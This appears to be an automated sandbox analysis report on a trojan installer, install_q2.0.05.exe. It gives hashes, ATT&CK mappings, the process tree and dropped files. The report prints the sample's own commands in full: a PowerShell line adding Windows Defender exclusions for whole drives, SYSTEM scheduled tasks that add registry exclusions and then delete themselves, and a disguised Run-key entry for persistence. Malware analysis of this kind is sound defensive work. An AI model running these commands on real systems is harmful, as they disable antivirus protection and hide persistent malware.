d9dee18494cd9b25a1d2267c023520ca7a0053b6c448ec4ce357fc93d4afd178

Analysis

max time kernel
150s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/09/2026, 04:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install_q2.0.05.exe
Size 25.4MB
Sample260905-flcsfaeq4s
SHA256 d9dee18494cd9b25a1d2267c023520ca7a0053b6c448ec4ce357fc93d4afd178
MD5 1be94945d439fb8f650592c30359802e
SHA1 70950360c471820268a1dc034222f05def5e5ad7
SHA512 9a2e070e4a04dc434d60a83927cc8508940f7054e04b57f98f1b27b3500c93be98b54f62728bc8752d32c62522d59f0e8aaf9b9724aa5222ff4bfe924b7aa00a
SSDEEP 49152:wKL3W0A0vr9cusmglhowk8s0nHQh6/q/5ci7CbaZk9t5BCHqO3eu/1fef/h5B466:FjAIMaQi7kmeHh2yeH7rkfvVsX+NK
TLSH
T12847E6117317E99DE1B753BA048B0F50F725E8B41970977323B8916C5FEAB0CBAB2924
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\9WDkAc = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3440	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1220	tpxewk.exe
3404	tpxewk.exe

Loads dropped DLL 2 IoCs

pid	Process
1220	tpxewk.exe
3404	tpxewk.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\9WDkAc\\tpxewk.exe\""	tpxewk.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5972	cmd.exe
5980	cmd.exe
5440	cmd.exe
1848	cmd.exe
1028	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	tpxewk.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3676	cmd.exe
2780	cmd.exe
2160	cmd.exe
3288	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1456	schtasks.exe
412	schtasks.exe
4612	schtasks.exe
4884	schtasks.exe
5392	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1852	install_q2.0.05.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe
1220	tpxewk.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3440	powershell.exe
Token: SeIncreaseQuotaPrivilege	3440	powershell.exe
Token: SeSecurityPrivilege	3440	powershell.exe
Token: SeTakeOwnershipPrivilege	3440	powershell.exe
Token: SeLoadDriverPrivilege	3440	powershell.exe
Token: SeSystemProfilePrivilege	3440	powershell.exe
Token: SeSystemtimePrivilege	3440	powershell.exe
Token: SeProfSingleProcessPrivilege	3440	powershell.exe
Token: SeIncBasePriorityPrivilege	3440	powershell.exe
Token: SeCreatePagefilePrivilege	3440	powershell.exe
Token: SeBackupPrivilege	3440	powershell.exe
Token: SeRestorePrivilege	3440	powershell.exe
Token: SeShutdownPrivilege	3440	powershell.exe
Token: SeDebugPrivilege	3440	powershell.exe
Token: SeSystemEnvironmentPrivilege	3440	powershell.exe
Token: SeRemoteShutdownPrivilege	3440	powershell.exe
Token: SeUndockPrivilege	3440	powershell.exe
Token: SeManageVolumePrivilege	3440	powershell.exe
Token: 33	3440	powershell.exe
Token: 34	3440	powershell.exe
Token: 35	3440	powershell.exe
Token: 36	3440	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 1220 wrote to memory of 3440	1220	tpxewk.exe	91
PID 1220 wrote to memory of 5440	1220	tpxewk.exe	93
PID 5440 wrote to memory of 1456	5440	cmd.exe	96
PID 5440 wrote to memory of 3760	5440	cmd.exe	98
PID 1220 wrote to memory of 1848	1220	tpxewk.exe	101
PID 5440 wrote to memory of 2768	5440	cmd.exe	103
PID 1848 wrote to memory of 412	1848	cmd.exe	105
PID 1220 wrote to memory of 1028	1220	tpxewk.exe	106
PID 1028 wrote to memory of 4612	1028	cmd.exe	108
PID 1028 wrote to memory of 5816	1028	cmd.exe	109
PID 1848 wrote to memory of 3376	1848	cmd.exe	110
PID 1848 wrote to memory of 2816	1848	cmd.exe	112
PID 1028 wrote to memory of 2684	1028	cmd.exe	113
PID 1220 wrote to memory of 5972	1220	tpxewk.exe	116
PID 5972 wrote to memory of 4884	5972	cmd.exe	118
PID 5972 wrote to memory of 2452	5972	cmd.exe	119
PID 1220 wrote to memory of 5980	1220	tpxewk.exe	122
PID 5972 wrote to memory of 4352	5972	cmd.exe	124
PID 5980 wrote to memory of 5392	5980	cmd.exe	125
PID 5980 wrote to memory of 2020	5980	cmd.exe	126
PID 5980 wrote to memory of 4324	5980	cmd.exe	128
PID 2160 wrote to memory of 3420	2160	cmd.exe	130
PID 2780 wrote to memory of 3276	2780	cmd.exe	131
PID 3288 wrote to memory of 2460	3288	cmd.exe	133
PID 3676 wrote to memory of 1180	3676	cmd.exe	134

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install_q2.0.05.exe
"C:\Users\Admin\AppData\Local\Temp\install_q2.0.05.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:1852

C:\Users\Public\9WDkAc\tpxewk.exe
"C:\Users\Public\9WDkAc\tpxewk.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\9WDkAc\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5440
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\9WDkAc\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1456
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3760
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1848
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:412
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3376
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1028
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4612
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5816
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5972
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4884
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2452
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5980
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5392
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2020
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4324

C:\Users\Public\9WDkAc\tpxewk.exe
"C:\Users\Public\9WDkAc\tpxewk.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3404

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\9WDkAc" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2780
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\9WDkAc" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3276

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2188

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2160
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3420

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3288
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2460

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3676
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1180

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

UxEnhance64.dll

Path C:\Users\Public\9WDkAc\UxEnhance64.dll
Size 3.1MB
SHA256 6036c55c631bc75aa1e576bd01fd8008bc6e1e3f2b7f586af91dd3e0142c13d3
MD5 80c552e02b348411c60467c88d690450
SHA1 ea89ea969959f70e26c628a5f05130862ad06735
SHA512 07bfbb055e916069c6a6ce21889652a535dc16588c2472418b6f0b12011cea9b50959fdd2dc245869380d20271584468d94c43a49d11f18efbaec42e7be60b63
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+p:P9m29xx3Tiqt06ox6+z2rNNrKop
TLSH
T16AE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\9WDkAc\adoresd.dat
Size 4.7MB
SHA256 c8d211e878d6d2f9396fb0c63cc7d6fd532612b0e74ae7e4a4ff78e5859a07bb
MD5 bffd17352f1857ab10109dd795487958
SHA1 c5de1e2c05a25f3bc92f669f146f7cf5b5660567
SHA512 942a5c9fb4040577c35f4107f5e0fa0e6af4a17ecbd2d44b6a447b1332976b6be8942dad625fa5cd2f8532f3dd7dcbf097f1206fa2c8dc9e56974cac2ca5fdbb
SSDEEP 98304:gKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:gKClqhi0Cv54K2IVS0VQg
TLSH
T17B3633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\9WDkAc\msadox.tb
Size 8KB
SHA256 e2eeb4d0058e7b2db55c0af963ad83af62f97b556128b3915ec6de8a71f3d2f6
MD5 19f364ed42ea79f2aa2e8bbc402c3376
SHA1 0ba9ee3736015214233cd224f8b434aaed142435
SHA512 4aa55ff200d2a8bef2be03cae4255e24eac8c4e3aea9017c532451bf6182a60df0867e01eebbf1ecbf56168f92f4aabf72d765086f65f12e41c7d29a804e123d
SSDEEP 192:LqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:LsZqZOXQ3uqvR2Kfzp
TLSH
T1D8029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tpxewk.exe

Path C:\Users\Public\9WDkAc\tpxewk.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1220-556-0x0000026E05A30000-0x0000026E05A7E000-memory.dmp

Download

memory/1220-559-0x0000026E06D50000-0x0000026E06DDA000-memory.dmp

Download

memory/1220-567-0x0000026E06430000-0x0000026E06CB7000-memory.dmp

Download

memory/1220-566-0x0000026E06430000-0x0000026E06CB7000-memory.dmp

Download

memory/1220-530-0x00007FFBF2C50000-0x00007FFBF2C52000-memory.dmp

Download

memory/1220-557-0x0000026E06D50000-0x0000026E06DDA000-memory.dmp

Download

memory/1220-564-0x0000026E06430000-0x0000026E06CB7000-memory.dmp

Download

memory/1220-531-0x00007FFBD00C0000-0x00007FFBD05DE000-memory.dmp

Download

memory/1220-536-0x0000026E06430000-0x0000026E06CB7000-memory.dmp

Download

memory/1220-538-0x00007FFBF2C60000-0x00007FFBF2C62000-memory.dmp

Download

memory/1220-539-0x0000026E06430000-0x0000026E06CB7000-memory.dmp

Download

memory/1220-543-0x0000026E06430000-0x0000026E06CB7000-memory.dmp

Download

memory/1220-544-0x0000026E06430000-0x0000026E06CB7000-memory.dmp

Download

memory/1220-545-0x0000026E06430000-0x0000026E06CB7000-memory.dmp

Download

memory/1220-546-0x0000026E06430000-0x0000026E06CB7000-memory.dmp

Download

memory/1220-550-0x0000026E06430000-0x0000026E06CB7000-memory.dmp

Download

memory/1220-560-0x0000026E06D50000-0x0000026E06DDA000-memory.dmp

Download

memory/1220-561-0x0000026E06D50000-0x0000026E06DDA000-memory.dmp

Download

memory/1852-524-0x0000000001F40000-0x0000000001F4E000-memory.dmp

Download

memory/1852-0-0x0000000001F40000-0x0000000001F4E000-memory.dmp

Download

memory/1852-1-0x0000000001F40000-0x0000000001F4E000-memory.dmp

Download

memory/1852-2-0x0000000001F50000-0x0000000001F5C000-memory.dmp

Download

memory/1852-504-0x00007FFBE4270000-0x00007FFBE4282000-memory.dmp

Download

memory/1852-525-0x00007FFBE4270000-0x00007FFBE4282000-memory.dmp

Download

memory/3404-584-0x000001F9F3D50000-0x000001F9F45D7000-memory.dmp

Download

memory/3404-578-0x00007FFBF2C60000-0x00007FFBF2C62000-memory.dmp

Download

memory/3404-573-0x00007FFBD00C0000-0x00007FFBD05DE000-memory.dmp

Download

memory/3404-576-0x000001F9F3D50000-0x000001F9F45D7000-memory.dmp

Download

memory/3404-585-0x000001F9F3D50000-0x000001F9F45D7000-memory.dmp

Download

memory/3404-583-0x000001F9F3D50000-0x000001F9F45D7000-memory.dmp

Download

memory/3404-586-0x000001F9F3D50000-0x000001F9F45D7000-memory.dmp

Download

memory/3404-587-0x00007FFBF2C50000-0x00007FFBF2C52000-memory.dmp

Download

memory/3404-579-0x000001F9F3D50000-0x000001F9F45D7000-memory.dmp

Download

memory/3440-593-0x00000266B6300000-0x00000266B6322000-memory.dmp

Download

memory/3440-597-0x00000266B6360000-0x00000266B637E000-memory.dmp

Download

memory/3440-598-0x00000266B6610000-0x00000266B66C2000-memory.dmp

Download

memory/3440-599-0x00000266B6380000-0x00000266B638A000-memory.dmp

Download